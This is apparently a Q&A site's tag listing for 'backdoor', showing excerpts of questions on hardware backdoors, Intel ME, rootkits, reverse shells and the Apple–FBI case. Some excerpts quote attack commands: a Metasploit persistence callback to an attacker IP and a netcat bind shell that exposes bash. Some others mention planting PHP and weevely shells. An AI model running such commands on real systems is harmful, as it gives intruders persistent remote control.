Questions tagged [backdoor]

A backdoor is a method of bypassing normal authentication, securing illegal remote access to a computer while attempting to remain undetected.

Filter by
Sorted by
Tagged with
14
votes
3answers
4k views

How would a backdoor gain persistence

I know that if you were to gain access to a system and restart it, an implanted backdoor would be killed. Or if you were to locate the backdoor in task manager you would be able to kill it. However, I'...
1
vote
0answers
56 views

Secure deployment of xpdf on production

I have an application, which needs the functionality of converting PDF documents to text documents, and then parse them to retrieve information. I am using xpdf utility pdftotext to achieve that. I ...
3
votes
2answers
311 views

Is the site wrong about an ethical hacking question or am I?

Can you let me know if this site is crazy? or am I?
6
votes
1answer
915 views

Is Intel i3 CPU affected by the Intel ME vulnerability?

Hello I have an Intel® Core™ i3-2328M CPU @ 2.20GHz computer processor (I think Sandy Bridge). https://ark.intel.com/products/70927/Intel-Core-i3-2328M-Processor-3M-Cache-2_20-GHz I have heard about ...
1
vote
0answers
1k views

Is there a list of new laptops without Intel Management Engine built in? [closed]

Is there a list of new laptops without Intel Management Engine built in? I'm reading about Intel Management Engine as being a secret backdoor for hackers. (See, https://www.eff.org/deeplinks/2017/05/...
0
votes
2answers
1k views

Hardware / firmware backdoors : TPM as a security risk - How to turn it into security advantage?

--- Question: What are the exact risks of using TPM 2.0 or owning this integrated chip? In what circumstances? What are the solutions to minimize risks? Details: My primary goal was to try to find ...
1
vote
0answers
225 views

Using .data segment for Code Execution with DEP Enable

Sorry if this seems like a silly question. I am working on practicing backdooring applications for a cert I am working on, and one of the methods is to use existing code caves. The issue is, these ...
0
votes
3answers
337 views

Can OS protect us from backdoored CPU? [closed]

I was wondering if O.S. can act in such a way to hide from CPU what it is doing? I know that everything is computed only in CPU, but O.S. decides what that is, and keeps track of file system, etc. For ...
1
vote
0answers
339 views

Was double pulsar's source code ever released?

Double Pulsar I can only see a binary at this address: https://github.com/x0rz/EQGRP_Lost_in_Translation News articles seem to not discriminate between the source code and the binary
0
votes
1answer
421 views

How to detect, if ESP32 or ESP2866 IoT devices hide malicious in their firmware?

ESP32 and ESP2866 devices are very famous as cheap IoT controller and connect via wireless LAN. Unfortunately the firmware of these devices is still closed source and quite large. It is there any ...
4
votes
4answers
4k views

What is the difference between a backdoor and a rootkit?

I was reading the "What is a rootkit ?" post and I'm confused about the difference between a rootkit and a backdoor. As I understood it, both : Are a piece of code written by the attacker and ...
3
votes
1answer
311 views

Can Windows Theme files (aero.msstyles) be sideloaded with spyware in their resources, specifically in UI scripts

Short version: topic Detailed version: I want to use a specific 3rd party theme for Windows. I'm already using an open source solution which I've compiled myself to disable Window's restriction on ...
1
vote
1answer
284 views

Can malware attach itself to user files?

Recently my AV has been detecting Trojan backdoors, Rootkits and Worms quite often. Some go unnoticed (I've checked suspicious files in VirusTotal a few times and they indeed turned out to be malware ...
-2
votes
2answers
1k views

How to leave a backdoor in a Laravel application?

I'm pretty curious how someone could leave a backdoor in a Laravel application? In my opinion there isn't a way, because the entry point of the requests is a route file, and you have to write code for ...
15
votes
2answers
10k views

How to disable Intel ME?

After reading about Intel ME containing secret backdoors, I would like to know if it is possible to disable Intel ME?
1
vote
2answers
345 views

How should a backdoor be delivered? [closed]

I am wondering about the ways a backdoor could be delivered to someone and the advantages and disadvantages of the various ways. As a backdoor, I mean a script or payload that may be able to get a ...
1
vote
1answer
574 views

Possible to backdoor a Netcat Listener?

I have been getting into backdooring computers and servers using either specialized software or some malicious command that spawns a backdoor on the target machine, then pipes the terminal to my ...
0
votes
3answers
1k views

Reverse shell would expose attacker?

Could you guys help me understand reverse shells better? Would an attacker be exposed when using a reverse shell in a real attack? For example, if I have a reverse shell on a Linux VM that connects ...
2
votes
1answer
709 views

Tracking a backdoor by recording packets

I am by no means very bright when it comes to networking. But I know a bit. Let's say I suspect a backdoor is on my pc. To counter it I setup a device between the router and my pc to log everything. ...
0
votes
1answer
310 views

Is ist possible to emed a backdoor in a picture? [duplicate]

Is it possible to infect a picture with a backdoor? And what can I google for that?
0
votes
1answer
180 views

What is the meaning of back channel or backdoor in a program?

What is backdoor and why is it created in first place if it creates additional unnecessary risk? You might want to take up an example to explain it in detail.
2
votes
4answers
2k views

Unauthenticated packages in debian

Yesterday I updated my debian server using: apt-get update && apt-get upgrade I received message that some of the packages cannot be authenticated being in a rush I hit yes to install ...
76
votes
9answers
20k views

Is it theoretically possible to deploy backdoors on ports higher than 65535?

Assuming you were able to modify the OS/firmware/device for server/client to send and listen on ports higher than 65535, could it be possible to plant a backdoor and have it listen on, say, port 70000?...
1
vote
1answer
446 views

is it possible to avoid hardware backdoors? [closed]

Hi I have recently started to learn about data protection. After the snowden events it seems pretty certain that intelligence agency may have planted backdoors in hardware. I have got a few questions ...
1
vote
1answer
1k views

Unable to execute PHP shell

I have uploaded a simple PHP shell onto a server, but I get one of the following error messages when I am trying to execute a code: Warning: shell_exec() Unable to execute 'ls' in .... on line 2 ...
2
votes
1answer
261 views

Is the Ethereum blockchain truly a tamper-proof way to deploy distributed applications?

The Ethereum website says that it provides a "cryptographically secure, decentralized, tamper-proof network" on which applications written in the Solidity contract language could be deployed. (https://...
4
votes
1answer
487 views

Can a running interpreted program cryptographically prove it is the same as as a published source code version?

Can a running interpreted program, for example in languages like python, javascript, ruby, java or php, cryptographically prove that it is the same as a published source code version in a way that ...
1
vote
2answers
657 views

Outgoing traffic block - Best policy

I'm concerned that in my network some background applications / virus can use my internet connection as malicious backdoor, and then I'm in trouble (i.e. authorities can think that one of my pc has ...
29
votes
5answers
6k views

What can I do about the Intel Management Engine?

I recently read about the Intel ME (Management Engine), which is a special area in new Intel processors that has complete control over the computer. Nobody knows exactly what it contains, and there ...
0
votes
2answers
161 views

malicious file on my websites, can't delete it [duplicate]

About 10 days ago I saw 2 unknown files on my websites (ASP.NET websites). they spread on all 3 of my websites, and placed them selves in the CSS folder. The first one was with the name of 'Paths....
0
votes
2answers
1k views

Password protection for NetCat shell?

As a pentester, I often use NetCat, and its encrypted counterpart CryptCat. However, even CryptCat only encrypts the traffic. I'm looking for a way to keep unauthorized users from gaining access to ...
0
votes
0answers
19 views

What are the security risks of making an app closed-source? [duplicate]

What are the security risks, if any, of making an app closed-source vs. open-source?
4
votes
2answers
171 views

The risks of choosing a browser [closed]

I just tried Chromium, which in its fast rendering and lightweight feel really appealed to me, so I considered switching. But looking at the project, I see that the Chromium project has strong links ...
1
vote
0answers
59 views

Does DSR or L3DSR allow for a secret back channel between hosts? How can it be stopped?

This Serverfault question describes how a load balancer can embed data that will be round-tripped back to the originating node. Traditionally DSR can't exceed the boundaries of a broadcast domain. ...
1
vote
1answer
462 views

Firmware backdoor in external hard drive without a specific driver possible?

I heard that researchers found some external hard drive with embedded backdoor (into the firmware). I don't know if an external hard drive backdoor can be executed only by using a generic driver. ...
5
votes
3answers
11k views

Finding a backdoor on a server?

Let's say I hire someone (freelance), for IT work on an Ubuntu server. The server has a good firewall, I run clamav, chkrootkit & rkhunter scans weekly, and I try to keep good practices. The ...
4
votes
3answers
3k views

Is Bitlocker trustworthy?

My question isn't about whether or not the encryption on Bitlocker works, but whether or not there has been any security audits about potential backdoors Microsoft may have installed. I don't have a ...
16
votes
10answers
6k views

Would an encryption scheme that generates an extra key to be securely stored offsite be a safe backdoor?

Let me be clear first and foremost: I do not think installing a backdoor in security algorithms is a good idea. They undermine the trust in the software and in the company that provides the service. ...
1
vote
0answers
469 views

How to know if I have been infected with trojan horse through Fritz Box exploit?

This is my first post on here, and the first time I put serious thoughts into network security. I think I have an serious security issue in my network. It seems like someone somehow injected a ...
0
votes
1answer
63 views

How to check if any host trying to connect back to the my executable(application)?

Last month i have downloaded some hacking tools!!! After that i'm having a strong feeling that some host trying to connect back to the application(don't know whether i'm been monitored or not). Is ...
1
vote
0answers
756 views

from weevely shell to root? OSCP [closed]

I'm doing OSCP, and have been on this problem for a while. I need some guidance on this. I manage to get a weevely shell to a lab machine via SQL injection. The OS is CentOS 5.4 The user is "apache"...
3
votes
1answer
3k views

Could someone help me deobfuscate this malicious script code [duplicate]

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
1
vote
1answer
70 views

Rightscorp Scaleable Copyright - How would they avoid making this a massive security risk?

I recently read an article about a new copyright protection system that RightsCorp America is trying to get ISPs to help implement. From the Article: “Single notices can be read and bypassed ...
3
votes
1answer
781 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
3
votes
1answer
852 views

Persistent back door using Netcat

I have found the following command several times in one of the linux servers during an assessment: nc -l -p 3030 -e /bin/bash This enables a hacker to gain control over this sever via bash. By ...
0
votes
2answers
118 views

Using Two Different Brands of Security Tools To Block Backdoors

There's this idea of using 2 brands of firewalls both inline that is usually brought up: {Internet}<-->FW(A)<-->FW(B)<-->{Internal Network} Or using 2 algorithms: {Plain ...
14
votes
3answers
2k views

Why can't apple simply add the backdoor now and then remove it after the FBI is done?

Summary of the current situation by @TTT Apple released an open letter to the public outlining their reasons for not complying with the FBI's demands to modify the iPhone's security mechanism. ...
31
votes
1answer
1k views

Any known cases of government backdoors creating exploitable security holes? [closed]

As the Apple v FBI battle unfolds, government backdoors will become a hot topic. As background to that, I have two questions: Are there any known cases where governments have forced tech companies to ...
1
vote
1answer
144 views

Could the FBI dump the drive contents of an iOS device, and then somehow run Virtual CPU's with different keys?

This seems like the most logical answer that would prevent wiping the data. Dump Contents of Drive. SetUp Virtual CPU with different keys. Use existing firmware and hardware for ios x Profit Is ...
7
votes
3answers
3k views

Why can't the FBI copy the contents of an iPhone they are trying to crack?

Making the news rounds now is a story about the courts ordering Apple to disable the automatic deletion of data after 10 failed password guesses. What I don't understand is, why doesn't the FBI just ...